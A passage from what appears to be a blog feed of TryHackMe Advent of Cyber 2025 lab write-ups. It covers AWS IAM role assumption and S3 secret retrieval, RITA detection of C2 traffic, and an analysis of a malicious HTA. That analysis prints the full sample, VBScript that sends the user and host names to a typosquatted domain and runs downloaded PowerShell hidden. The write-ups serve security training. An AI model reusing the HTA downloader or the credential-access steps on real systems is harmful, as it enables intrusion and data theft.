\"Effect\": \"Allow\", \"Resource\": \"*\", \"Sid\": \"ListIAMEntities\" } ] } } ubuntu@tryhackme:~$ Roles Enumerating Roles ubuntu@tryhackme:~$ aws iam list-roles { \"Roles\": [ { \"Path\": \"/\", \"RoleName\": \"bucketmaster\", \"RoleId\": \"AROARZPUZDIKNISGMKDCI\", \"Arn\": \"arn:aws:iam::123456789012:role/bucketmaster\", \"CreateDate\": \"...\", \"AssumeRolePolicyDocument\": { \"Statement\": [ { \"Action\": \"sts:AssumeRole\", \"Effect\": \"Allow\", \"Principal\": { \"AWS\": \"arn:aws:iam::123456789012:user/sir.carrotbane\" } } ], \"Version\": \"2012-10-17\" }, \"MaxSessionDuration\": 3600 } ] } ubuntu@tryhackme:~$ Enumerating Inline Policies Assigned to a Role ubuntu@tryhackme:~$ aws iam list-role-policies --role-name bucketmaster { \"PolicyNames\": [ \"BucketMasterPolicy\" ] } ubuntu@tryhackme:~$ Enumerating Attached Policies Assigned to a Role ubuntu@tryhackme:~$ aws iam list-attached-role-policies --role-name bucketmaster { \"AttachedPolicies\": [] } ubuntu@tryhackme:~$ Checking an Inline Policy Assigned to a Role ubuntu@tryhackme:~$ aws iam get-role-policy --role-name bucketmaster --policy-name BucketMasterPolicy { \"RoleName\": \"bucketmaster\", \"PolicyName\": \"BucketMasterPolicy\", \"PolicyDocument\": { \"Version\": \"2012-10-17\", \"Statement\": [ { \"Action\": [ \"s3:ListAllMyBuckets\" ], \"Effect\": \"Allow\", \"Resource\": \"*\", \"Sid\": \"ListAllBuckets\" }, { \"Action\": [ \"s3:ListBucket\" ], \"Effect\": \"Allow\", \"Resource\": [ \"arn:aws:s3:::easter-secrets-123145\", \"arn:aws:s3:::bunny-website-645341\" ], \"Sid\": \"ListBuckets\" }, { \"Action\": [ \"s3:GetObject\" ], \"Effect\": \"Allow\", \"Resource\": \"arn:aws:s3:::easter-secrets-123145/*\", \"Sid\": \"GetObjectsFromEasterSecrets\" } ] } } ubuntu@tryhackme:~$ Assuming Roles To trigger temporary credential generation, we ask STS to generate a temporary set of credentials to assume the specified role.\nubuntu@tryhackme:~$ aws sts assume-role --role-arn arn:aws:iam::123456789012:role/bucketmaster --role-session-name TBFC { \"Credentials\": { \"AccessKeyId\": \"ASIARZPUZDIKKJWDTODC\", \"SecretAccessKey\": \"wR2WwE4b4G4yMdb48twzpBjIEDFXfjHumjI47M/O\", \"SessionToken\": \"FQoGZXIvYXdzEBYaDFw8SfBBy/1yQucoMavFQyBCYGRHKK6Av31i/yLvtTdG7ujNanEzCJX35wrcTil+a+tcuLo3IbocJpzpBbJ+iMykZlLVU3LnI5tZbuBSXa9eihdJvmaMs14mxrLyedlcUuSVya+ww/AuPmXilZHmo9MR3zD0jPWvJBWC75u80kAMQcerXCYM9fXW8nIqv+9DfT8YSUntcvBoXq3dk8KlCbRbcuCZE9pYJfMdS6gmaGxbLBSWZDBNVUztdz54bR4XttouTcCJE9VlfUZtLniGkJRQ6/3MtZ+vxPEk8vzG1KIfFlxqeafohBOracHddK5CCjFRU+q62tRu1RJuRvs=\", \"Expiration\": \"...\" }, \"AssumedRoleUser\": { \"AssumedRoleId\": \"AROARZPUZDIKNISGMKDCI:TBFC\", \"Arn\": \"arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC\" }, \"PackedPolicySize\": 6 } ubuntu@tryhackme:~$ Setting the Temporary Credentials to Assume the Role ubuntu@tryhackme:~$ export AWS_ACCESS_KEY_ID=\"ASIARZPUZDIKKJWDTODC\" ubuntu@tryhackme:~$ export AWS_SECRET_ACCESS_KEY=\"wR2WwE4b4G4yMdb48twzpBjIEDFXfjHumjI47M/O\" ubuntu@tryhackme:~$ export AWS_SESSION_TOKEN=\"FQoGZXIvYXdzEBYaDFw8SfBBy/1yQucoMavFQyBCYGRHKK6Av31i/yLvtTdG7ujNanEzCJX35wrcTil+a+tcuLo3IbocJpzpBbJ+iMykZlLVU3LnI5tZbuBSXa9eihdJvmaMs14mxrLyedlcUuSVya+ww/AuPmXilZHmo9MR3zD0jPWvJBWC75u80kAMQcerXCYM9fXW8nIqv+9DfT8YSUntcvBoXq3dk8KlCbRbcuCZE9pYJfMdS6gmaGxbLBSWZDBNVUztdz54bR4XttouTcCJE9VlfUZtLniGkJRQ6/3MtZ+vxPEk8vzG1KIfFlxqeafohBOracHddK5CCjFRU+q62tRu1RJuRvs=\" ubuntu@tryhackme:~$ Verifying the Assumed Role ubuntu@tryhackme:~$ aws sts get-caller-identity { \"UserId\": \"AROARZPUZDIKNISGMKDCI:TBFC\", \"Account\": \"123456789012\", \"Arn\": \"arn:aws:sts::123456789012:assumed-role/bucketmaster/TBFC\" } ubuntu@tryhackme:~$ S3 Buckets Amazon S3 (Simple Storage Service) is a cloud-based object storage service provided by AWS.\nIt stores any type of data \u0026ndash; including images, documents, logs, and backup files \u0026ndash; in containers called buckets, which function like cloud directories.\nEnumerating Available S3 Buckets ubuntu@tryhackme:~$ aws s3api list-buckets { \"Buckets\": [ { \"Name\": \"bunny-website-645341\", \"CreationDate\": \"...\" }, { \"Name\": \"easter-secrets-123145\", \"CreationDate\": \"...\" } ], \"Owner\": { \"DisplayName\": \"webfile\", \"ID\": \"bcaf1ffd86f41161ca5fb16fd081034f\" }, \"Prefix\": null } ubuntu@tryhackme:~$ Enumerating Objects in a Specific Bucket ubuntu@tryhackme:~$ aws s3api list-objects --bucket easter-secrets-123145 { \"Contents\": [ { \"Key\": \"cloud_password.txt\", \"LastModified\": \"...\", \"ETag\": \"\\\"c63e1474bf79a91ef95a1e6c8305a304\\\"\", \"Size\": 29, \"StorageClass\": \"STANDARD\", \"Owner\": { \"DisplayName\": \"webfile\", \"ID\": \"75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a\" } }, { \"Key\": \"groceries.txt\", \"LastModified\": \"...\", \"ETag\": \"\\\"44a93e970be00ed62b8742f42c8600d8\\\"\", \"Size\": 28, \"StorageClass\": \"STANDARD\", \"Owner\": { \"DisplayName\": \"webfile\", \"ID\": \"75aa57f09aa0c8caeab4f8c24e99d10f8e7faeebf76c078efc7c6caea54ba06a\" } } ], \"RequestCharged\": null, \"Prefix\": null } ubuntu@tryhackme:~$ Downloading an Object from a Bucket to the Local Machine ubuntu@tryhackme:~$ aws s3api get-object --bucket easter-secrets-123145 --key cloud_password.txt cloud_password.txt { \"AcceptRanges\": \"bytes\", \"LastModified\": \"...\", \"ContentLength\": 29, \"ETag\": \"\\\"c63e1474bf79a91ef95a1e6c8305a304\\\"\", \"ContentType\": \"application/octet-stream\", \"Metadata\": {} } ubuntu@tryhackme:~$ ls -hla ... -rw-r--r-- 1 ubuntu ubuntu ... cloud_password.txt ... ubuntu@tryhackme:~$ cat cloud_password.txt \u0026lt;redacted-flag\u0026gt; ubuntu@tryhackme:~$ Questions and Answers Question-1: Run \u0026lsquo;aws sts get-caller-identity\u0026rsquo;. What is the number shown for the Account parameter?\n123456789012\nQuestion-2: What IAM component is used to describe the permissions to be assigned to a user or a group?\nPolicy\nQuestion-3: What is the name of the policy assigned to sir.carrotbane?\nSirCarrotbanePolicy\nQuestion-4: Apart from GetObject and ListBucket, what other action can be taken by assuming the bucketmaster role?\nListAllMyBuckets\nQuestion-5: What are the contents of the cloud_password.txt file?\n\u0026lt;redacted-flag\u0026gt;\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-23/","summary":"TryHackMe | Advent of Cyber 2025 | Day 23: AWS Security - S3cret Santa","title":"AOC25 | Day-23"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 22\nTitle: C2 Detection - Command \u0026amp; Carol Description\nWe explore how to analyze large PCAP files and extract valuable threat intelligence.\nSummary\nWe begin with an overview of RITA (Real Intelligence Threat Analytics), examining how it detects malicious network activity by analyzing Zeek logs and identifies threats through network pattern analysis and severity scoring.\nPractically, we convert PCAP files to Zeek logs, import them into RITA, and access the viewer interface.\nFinally, we employ RITA\u0026rsquo;s filtering capabilities to analyze the data, applying search filters, examining prevalence scores, reviewing connection counts and ports, and sorting by metrics to uncover suspicious network behavior.\nStoryline\nThe TBFC, on high alert after King Malhare\u0026rsquo;s attacks, grows restless in the quiet. Sir Elfo proposes hunting for Command and Control traffic using RITA (Real Intelligence Threat Analytics), a tool that can quickly analyze their network data by converting PCAP files to Zeek logs.\nTheory RITA (Real Intelligence Threat Analytics) is an open-source framework by Active Countermeasures that detects malicious network activity by analyzing Zeek logs.\nIt identifies threats like command and control (C2) communication, DNS tunneling, data exfiltration, and long connections through correlation of network data fields such as IP addresses, ports, timestamps, and connection durations.\nKey Capabilities RITA analyzes network patterns to detect periodic connections, excessive DNS queries, random subdomains, unusual certificate behavior, and known malicious IPs from threat intelligence feeds. It then scores connections by severity and presents findings in a searchable terminal interface.\nHow It Works It requires Zeek logs as input \u0026ndash; Zeek is a network security monitoring tool that converts packet captures (PCAPs) into structured, enriched logs.\nWe import these logs into RITA using the command line, and RITA parses and analyzes the data to produce results.\nRITA Interface/GUI The RITA viewer displays results in three sections:\nSearch bar: Allows filtering with support for specific search fields. Results Pane: Shows severity scores, source/destination IPs, beacon likelihood, connection duration, subdomains, and threat intelligence matches. Details Pane: Contains threat modifiers (such as MIME type mismatches, rare signatures, prevalence analysis, and unusual data volumes) and connection metadata (connection counts, bytes sent, port numbers, and protocols). Practical Convert PCAP to Zeek logs We first check the available data in the two directories, pcaps and zeek_logs:\nubuntu@tryhackme:~$ ls -hla pcaps/ zeek_logs/ pcaps/: ... -rw-r--r-- 1 ubuntu ubuntu 43M ... AsyncRAT.pcap -rw-r--r-- 1 ubuntu ubuntu 41M ... IcedID.pcap -rw-r--r-- 1 ubuntu ubuntu 7.1M ... Pikabot.pcap -rw-r--r-- 1 ubuntu ubuntu 113K ... rita_challenge.pcap ... zeek_logs/: -rw-rw-r-- 1 ubuntu docker 14M ... Example-5-2020-08-18-Emotet-infection-with-Qakbot.pcap.zip drwxr-xr-x 2 ubuntu ubuntu 4.0K ... asyncrat drwxr-xr-x 2 ubuntu ubuntu 4.0K ... pikabot ubuntu@tryhackme:~$ Next, we use Zeek to parse and convert \u0026ndash; zeek readpcap \u0026lt;pcap-file\u0026gt; \u0026lt;output-directory\u0026gt; \u0026ndash; the PCAP data into structured log format:\nubuntu@tryhackme:~$ mkdir zeek_logs/rita-challenge ubuntu@tryhackme:~$ zeek readpcap pcaps/rita_challenge.pcap zeek_logs/rita-challenge Starting the Zeek docker container Zeek logs will be saved to /home/ubuntu/zeek_logs/rita-challenge ubuntu@tryhackme:~$ The following listing shows the transformed logs:\nubuntu@tryhackme:~$ ls -hla zeek_logs/rita-challenge/ ... -rw-r--r-- 1 root root 488 ... analyzer.log -rw-r--r-- 1 root root 542 ... capture_loss.log -rw-r--r-- 1 root root 47K ... conn.log -rw-r--r-- 1 root root 3.6K ... dns.log -rw-r--r-- 1 root root 4.4K ... files.log -rw-r--r-- 1 root root 35K ... http.log -rw-r--r-- 1 root root 317 ... known_hosts.log -rw-r--r-- 1 root root 527 ... known_services.log -rw-r--r-- 1 root root 35K ... loaded_scripts.log -rw-r--r-- 1 root root 1.6K ... notice.log -rw-r--r-- 1 root root 278 ... packet_filter.log -rw-r--r-- 1 root root 379 ... reporter.log -rw-r--r-- 1 root root 1000 ... software.log -rw-r--r-- 1 root root 2.1K ... stats.log -rw-r--r-- 1 root root 2.9K ... weird.log ubuntu@tryhackme:~$ If necessary, we can search for more information on the specific log files via their documentation.\nImport Log Data into RITA We use RITA to import, parse, and analyze the newly created logs:\nubuntu@tryhackme:~$ rita import --logs zeek_logs/rita-challenge/ --database ritachallenge ... ✔ Container rita-syslog-ng ✔ Container rita-clickhouse ✔ Container rita-syslog-ng ... Container rita-rita-run-2493b7e1ece6 Creating Container rita-rita-run-2493b7e1ece6 Created ... INF Initiating new import... dataset=ritachallenge directory=/tmp/zeek_logs rebuild=false rolling=false started_at=\"...\" [-] Parsing: /tmp/zeek_logs/conn.log [-] Parsing: /tmp/zeek_logs/http.log [-] Parsing: /tmp/zeek_logs/dns.log ... [+] stop 1/1 ✔ Container rita-rita-1 Stopped .... ubuntu@tryhackme:~$ With the import complete, we access the data using rita view \u0026lt;database-name\u0026gt;:\nubuntu@tryhackme:~$ rita view ritachallenge ... Container rita-clickhouse Waiting Container rita-clickhouse Healthy Container rita-rita-run-a40a9aacc2eb Creating Container rita-rita-run-a40a9aacc2eb Created Viewing database: ritachallenge The RITA GUI (within the terminal) will be displayed with data populated from the ritachallenge database.\nFigure 1: RITA terminal interface displaying network analysis results\nQuestions and Answers Question-1: How many hosts are communicating with malhare.net?\n6\nPrevalence denotes the number of internal hosts communicating with a specific (here malhare.net) external host.\nWe select one entry within the target domain \u0026ndash; such as rabbithole.malhare.net \u0026ndash; and use the Details Pane to check its prevalence score.\nFigure 2: Prevalence score showing six internal hosts communicating with malhare.net\nQuestion-2: Which Threat Modifier tells us the number of hosts communicating to a certain destination?\nPrevalence\nSee the explanation for Question 1.\nQuestion-3: What is the highest number of connections to rabbithole.malhare.net?\n40\nWe use the filter dst:rabbithole.malhare.net to restrict the entries and use the Details Pane to search for the entry with the highest connection count.\nFigure 3: Connection details showing 40 connections to rabbithole.malhare.net\nQuestion-4: Which search filter would you use to search for all entries that communicate to rabbithole.malhare.net with a beacon score greater than 70% and sorted by connection duration (descending)?\ndst:rabbithole.malhare.net beacon:\u0026gt;=70 sort:duration-desc\nFigure 4 shows the filtered results:\nFigure 4: RITA search results filtered by destination and beacon score\nQuestion-5: Which port did the host 10.0.0.13 use to connect to rabbithole.malhare.net?\n80\nWe first locate and select the internal host 10.0.0.13 using the Source column, then examine the Port:Proto:Service entry under the Connection Info section in the Details Pane.\nFigure 5: Connection details revealing port 80 used by host 10.0.0.13\n","permalink":"https://onebee.blog/blog/thm/aoc25/day-22/","summary":"TryHackMe | Advent of Cyber 2025 | Day 22: C2 Detection - Command \u0026amp; Carol","title":"AOC25 | Day-22"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nEvent: Advent of Cyber 2025\nDay: 21\nTitle: Malware Analysis - Malhare.exe\nBonus: Side Quest 4 Key Challenge Description\nLearn about malware analysis and forensics.\nSummary\nWe analyze a malicious HTA posing as a survey application. The getQuestions() function downloads and executes PowerShell from a typosquatted domain while exfiltrating the victim\u0026rsquo;s ComputerName and UserName via a GET request.\nWe decode two obfuscation layers \u0026ndash; Base64 and ROT13 \u0026ndash; to retrieve the flag. The attack demonstrates how HTAs exploit social engineering and built-in Windows tools to compromise systems undetected.\nStoryline\nThe task involves analyzing a suspicious HTA file to determine if it belongs to King Malhare. The investigation requires examining the file\u0026rsquo;s metadata, script functions, network calls, encoded data, and evidence of data exfiltration to reverse-engineer how it was used to compromise Wareville\u0026rsquo;s systems.\nTheory HTA (HTML Applications) files are lightweight desktop applications built using web technologies like HTML, CSS, and JavaScript that run directly on Windows through the mshta.exe process.\nWhile originally designed for legitimate purposes \u0026ndash; such as automating administrative tasks, creating quick interfaces for internal scripts, and building IT support utilities \u0026ndash; they have become a popular attack vector for cybercriminals.\nLegitimate Uses HTA files were created to combine the simplicity of web development with the power of desktop applications. Developers and administrators use them to build functional tools without requiring full software development.\nMalicious Applications Attackers exploit HTAs because they can:\nDeliver malware via phishing emails and fake web pages Act as downloaders or droppers to fetch additional payloads from command-and-control (C2) servers Evade detection through encoding (Base64) and obfuscation Leverage built-in Windows tools (PowerShell, wscript.exe) to avoid leaving new files on disk How to Analyze Suspicious HTAs Three-step analysis process:\nIdentify script sections (VBScript blocks) Look for encoded data or external connections (Base64-encoded strings, HTTP requests) Trace the logic to understand what gets executed or transmitted Key indicators of malicious HTAs include deceptive titles/application names, PowerShell commands with execution policy bypasses, Base64-encoded strings (which often hide C2 URLs), and variables that download and execute code in memory.\nPractice Relevant Source Code \u0026lt;!-- ~survey-1761116087028.hta --\u0026gt; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Best Festival Company Developer Survey\u0026lt;/title\u0026gt; \u0026lt;hta:application id=\u0026#34;APP123080\u0026#34; applicationname=\u0026#34;Festival Elf Survey\u0026#34; icon=\u0026#34;logo.ico\u0026#34; border=\u0026#34;thin\u0026#34; caption=\u0026#34;yes\u0026#34; maximizebutton=\u0026#34;no\u0026#34; minimizebutton=\u0026#34;no\u0026#34; singleinstance=\u0026#34;yes\u0026#34; windowstate=\u0026#34;normal\u0026#34; sysmenu=\u0026#34;yes\u0026#34;\u0026gt; \u0026lt;/hta:application\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; function visited() { document.getElementById(\u0026#34;never\u0026#34;).style.display = \u0026#39;none\u0026#39;; document.getElementById(\u0026#34;visited\u0026#34;).style.display = \u0026#39;block\u0026#39;; } function never() { document.getElementById(\u0026#34;visited\u0026#34;).style.display = \u0026#39;none\u0026#39;; document.getElementById(\u0026#34;never\u0026#34;).style.display = \u0026#39;block\u0026#39;; } function submitted() { document.getElementById(\u0026#34;spinner\u0026#34;).style.display = \u0026#39;none\u0026#39;; document.getElementById(\u0026#34;questions\u0026#34;).style.display = \u0026#39;none\u0026#39;; document.getElementById(\u0026#34;thanks\u0026#34;).style.display = \u0026#39;block\u0026#39;; } function submit() { document.getElementById(\u0026#34;submitbutton\u0026#34;).style.display = \u0026#39;none\u0026#39;; document.getElementById(\u0026#34;spinner\u0026#34;).style.display = \u0026#39;inline\u0026#39;; setTimeout(submitted, 2000); } \u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/vbscript\u0026#34;\u0026gt;\tSub Window_onLoad Call getQuestions() End Sub Function getQuestions() Dim IE, result, decoded, decodedString Set IE = CreateObject(\u0026#34;InternetExplorer.Application\u0026#34;) IE.navigate2 \u0026#34;http://survey.bestfestiivalcompany.com/survey_questions.txt\u0026#34; Do While IE.ReadyState \u0026lt; 4 Loop result = IE.document.body.innerText IE.quit decoded = decodeBase64(result) decodedString = RSBinaryToString(decoded) Call provideFeedback(decodedString) End Function Function provideFeedback(feedbackString)\tDim strHost, strUser, strDomain On Error Resume Next strHost = CreateObject(\u0026#34;WScript.Network\u0026#34;).ComputerName strUser = CreateObject(\u0026#34;WScript.Network\u0026#34;).UserName Dim IE Set IE = CreateObject(\u0026#34;InternetExplorer.Application\u0026#34;) IE.navigate2 \u0026#34;http://survey.bestfestiivalcompany.com/details?u=\u0026#34; \u0026amp; strUser \u0026amp; \u0026#34;?h=\u0026#34; \u0026amp; strHost Do While IE.ReadyState \u0026lt; 4 Loop IE.quit\tDim runObject Set runObject = CreateObject(\u0026#34;Wscript.Shell\u0026#34;) runObject.Run \u0026#34;powershell.exe -nop -w hidden -c \u0026#34; \u0026amp; feedbackString, 0, False End Function Function decodeBase64(base64) dim DM, EL Set DM = CreateObject(\u0026#34;Microsoft.XMLDOM\u0026#34;) Set EL = DM.createElement(\u0026#34;tmp\u0026#34;) EL.DataType = \u0026#34;bin.base64\u0026#34; EL.Text = base64 decodeBase64 = EL.NodeTypedValue end function Function RSBinaryToString(xBinary) Dim Binary If vartype(xBinary)=8 Then Binary = MultiByteToBinary(xBinary) Else Binary = xBinary Dim RS, LBinary Const adLongVarChar = 201 Set RS = CreateObject(\u0026#34;ADODB.Recordset\u0026#34;) LBinary = LenB(Binary) If LBinary\u0026gt;0 Then RS.Fields.Append \u0026#34;mBinary\u0026#34;, adLongVarChar, LBinary RS.Open RS.AddNew RS(\u0026#34;mBinary\u0026#34;).AppendChunk Binary RS.Update RSBinaryToString = RS(\u0026#34;mBinary\u0026#34;) Else RSBinaryToString = \u0026#34;\u0026#34; End If End Function \u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; body { font-family: museo_sans,Arial,Helvetica,sans-serif; overflow-x: hidden; }\t#header { background-color: rgb(0, 153, 153); box-shadow: rgba(0, 0, 0, .298039) 0 5px 0 0; height: 150px; width: 100%;\tz-index: 1000; margin-right: auto; margin-left: auto; } #survey-content { width: 100%; max-width: 1100px; z-index: 1000; margin-right: auto; margin-left: auto; } #topbar { max-width: 500px; float: left; } #logo { margin-left 10%; }\t#survey { margin-top: 5.0%; margin-right: 20px; padding-left: 10px; padding-right: 10px; background-color: rgb(0, 153, 153); font-family: inherit; font-size: 40px; text-color: #F8F8F8; font-weight: bold; text-transform: uppercase; text-decoration: none; color: #FFFFFF;\tfloat: right; } #survey-heading { color: #FFFFFF; font-family: \u0026#39;Helvetica Neue\u0026#39;, sans-serif; font-weight: bold; letter-spacing: -1px; line-height: 1; } #hp { float: right; margin: -55% 65%; } #thanks { overflow-x: hidden; overflow-y: hidden; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;header\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;topbar\u0026#34;\u0026gt; \u0026lt;img id=\u0026#34;logo\u0026#34; src=\u0026#34;logo.png\u0026#34; alt=\u0026#34;logo\u0026#34;\u0026gt;\u0026lt;/img\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;survey\u0026#34;\u0026gt; \u0026lt;p id=\u0026#34;survey-heading\u0026#34;\u0026gt;Insert Survey Heading\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt;\u0026lt;br\u0026gt; \u0026lt;div id=\u0026#34;survey-content\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;Anonymous Salary Feedback\u0026lt;/h2\u0026gt; \u0026lt;div id=\u0026#34;questions\u0026#34;\u0026gt; \u0026lt;div\u0026gt; \u0026lt;p\u0026gt; We are looking for your feedback to help us improve our employee relations and to invest in the future of our employees.This survey is completely anonymous and gives you to opportunity to express what you think about Best Festival Company\u0026#39;s commitment to its employees. Please take five minutes to complete the following survey.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;h3\u0026gt;How long have you been employed at Best Festival Company?\u0026lt;/h3\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q1\u0026#34;/\u0026gt; Less than 1 year\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q1\u0026#34;/\u0026gt; Less than 2 years\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q1\u0026#34;/\u0026gt; 2 years or more\u0026lt;/label\u0026gt; \u0026lt;h3\u0026gt;Do you feel valued at work?\u0026lt;/h3\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q2\u0026#34; /\u0026gt;Yes\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q2\u0026#34; /\u0026gt;No\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q2\u0026#34; /\u0026gt;Indecisive\u0026lt;/label\u0026gt; \u0026lt;h3\u0026gt;Do you feel content with your current salary?\u0026lt;/h3\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q3\u0026#34; /\u0026gt;Yes\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q3\u0026#34; /\u0026gt;No\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q3\u0026#34; /\u0026gt;Indecisive\u0026lt;/label\u0026gt; \u0026lt;h3\u0026gt;By how much do you believe your salary should increase?\u0026lt;/h3\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q4\u0026#34; /\u0026gt;Up to 5%\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q4\u0026#34; /\u0026gt;Between 5% and 10%\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q4\u0026#34; /\u0026gt;Between 10% and 15%\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt; \u0026lt;label\u0026gt;\u0026lt;input type=\u0026#34;radio\u0026#34; name=\u0026#34;q4\u0026#34; /\u0026gt;More that 10%\u0026lt;/label\u0026gt;\u0026lt;br /\u0026gt;\t\u0026lt;/div\u0026gt;\t\u0026lt;input id=\u0026#34;submitbutton\u0026#34; type=\u0026#34;submit\u0026#34; value=\u0026#34;Submit\u0026#34; style=\u0026#34;background-color:rgb(0, 153, 153);border:none;border-radius:3px 3px 3px 3px;color:#FFFFFF;padding: 3px 20px;margin-top:25px; font-weight: bold\u0026#34; onMouseOver=\u0026#34;this.style.backgroundColor=\u0026#39;#ff9900\u0026#39;\u0026#34; onMouseOut=\u0026#34;this.style.backgroundColor=\u0026#39;#009999\u0026#39;\u0026#34; onclick=\u0026#34;submit()\u0026#34; /\u0026gt; \u0026lt;img src=\u0026#34;data:image/gif;base64,R0lGODlhEAAQAPQAAP///3d3d/r6+pSUlL29vXp6eouLi+jo6NDQ0IKCgrW1ta2trfDw8MfHx+Dg4J2dnaSkpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh/hpDcmVhdGVkIHdpdGggYWpheGxvYWQuaW5mbwAh+QQJCgAAACwAAAAAEAAQAAAFUCAgjmRpnqUwFGwhKoRgqq2YFMaRGjWA8AbZiIBbjQQ8AmmFUJEQhQGJhaKOrCksgEla+KIkYvC6SJKQOISoNSYdeIk1ayA8ExTyeR3F749CACH5BAkKAAAALAAAAAAQABAAAAVoICCKR9KMaCoaxeCoqEAkRX3AwMHWxQIIjJSAZWgUEgzBwCBAEQpMwIDwY1FHgwJCtOW2UDWYIDyqNVVkUbYr6CK+o2eUMKgWrqKhj0FrEM8jQQALPFA3MAc8CQSAMA5ZBjgqDQmHIyEAIfkECQoAAAAsAAAAABAAEAAABWAgII4j85Ao2hRIKgrEUBQJLaSHMe8zgQo6Q8sxS7RIhILhBkgumCTZsXkACBC+0cwF2GoLLoFXREDcDlkAojBICRaFLDCOQtQKjmsQSubtDFU/NXcDBHwkaw1cKQ8MiyEAIfkECQoAAAAsAAAAABAAEAAABVIgII5kaZ6AIJQCMRTFQKiDQx4GrBfGa4uCnAEhQuRgPwCBtwK+kCNFgjh6QlFYgGO7baJ2CxIioSDpwqNggWCGDVVGphly3BkOpXDrKfNm/4AhACH5BAkKAAAALAAAAAAQABAAAAVgICCOZGmeqEAMRTEQwskYbV0Yx7kYSIzQhtgoBxCKBDQCIOcoLBimRiFhSABYU5gIgW01pLUBYkRItAYAqrlhYiwKjiWAcDMWY8QjsCf4DewiBzQ2N1AmKlgvgCiMjSQhACH5BAkKAAAALAAAAAAQABAAAAVfICCOZGmeqEgUxUAIpkA0AMKyxkEiSZEIsJqhYAg+boUFSTAkiBiNHks3sg1ILAfBiS10gyqCg0UaFBCkwy3RYKiIYMAC+RAxiQgYsJdAjw5DN2gILzEEZgVcKYuMJiEAOwAAAAAAAAAAAA==\u0026#34; style=\u0026#34;display:none\u0026#34; id=\u0026#34;spinner\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;thanks\u0026#34; style=\u0026#34;display:none\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;survey-content\u0026#34;\u0026gt; \u0026lt;div\u0026gt;Thank you for your feedback!\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;All participants will be entered into a prize draw for a chance to win a trip to the South Pole!\u0026lt;/div\u0026gt; \u0026lt;input id=\u0026#34;submitbutton\u0026#34; type=\u0026#34;submit\u0026#34; value=\u0026#34;Close\u0026#34; style=\u0026#34;background-color:rgb(0, 153, 153);border:none;border-radius:3px 3px 3px 3px;color:#FFFFFF;padding: 3px 20px;margin-top:25px; font-weight: bold\u0026#34; onMouseOver=\u0026#34;this.style.backgroundColor=\u0026#39;#ff9900\u0026#39;\u0026#34; onMouseOut=\u0026#34;this.style.backgroundColor=\u0026#39;#009999\u0026#39;\u0026#34; onclick=\u0026#34;self.close()\u0026#34; /\u0026gt; \u0026lt;/div\u0026gt;\t\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Questions and Answers Question-01: What is the Title of the HTA application?\nBest Festival Company Developer Survey\nThe following line \u0026lt;title\u0026gt;Best Festival Company Developer Survey\u0026lt;/title\u0026gt; provides the answer.\nQuestion-02: What VBScript function is acting as if it is downloading the survey questions?\ngetQuestions\nThe function declaration starting with Function getQuestions() falsely appears to be downloading a survey via http://survey.bestfestiivalcompany.com/survey_questions.txt.\nQuestion-03: What URL domain (including sub-domain) is the questions being downloaded from?\nsurvey.bestfestiivalcompany.com\nSee answer above in Question-02.\nQuestion-04: Malhare seems to be using typosquatting, domains that look the same as the real one, in an attempt to hide the fact that the domain is not the intended one, what character in the domain gives this away?\ni\nThe double i letter; instead of survey.bestfestivalcompany.com we have the typosquatted survey.bestfestiivalcompany.com.\nQuestion-05: Malicious HTAs often include real-looking 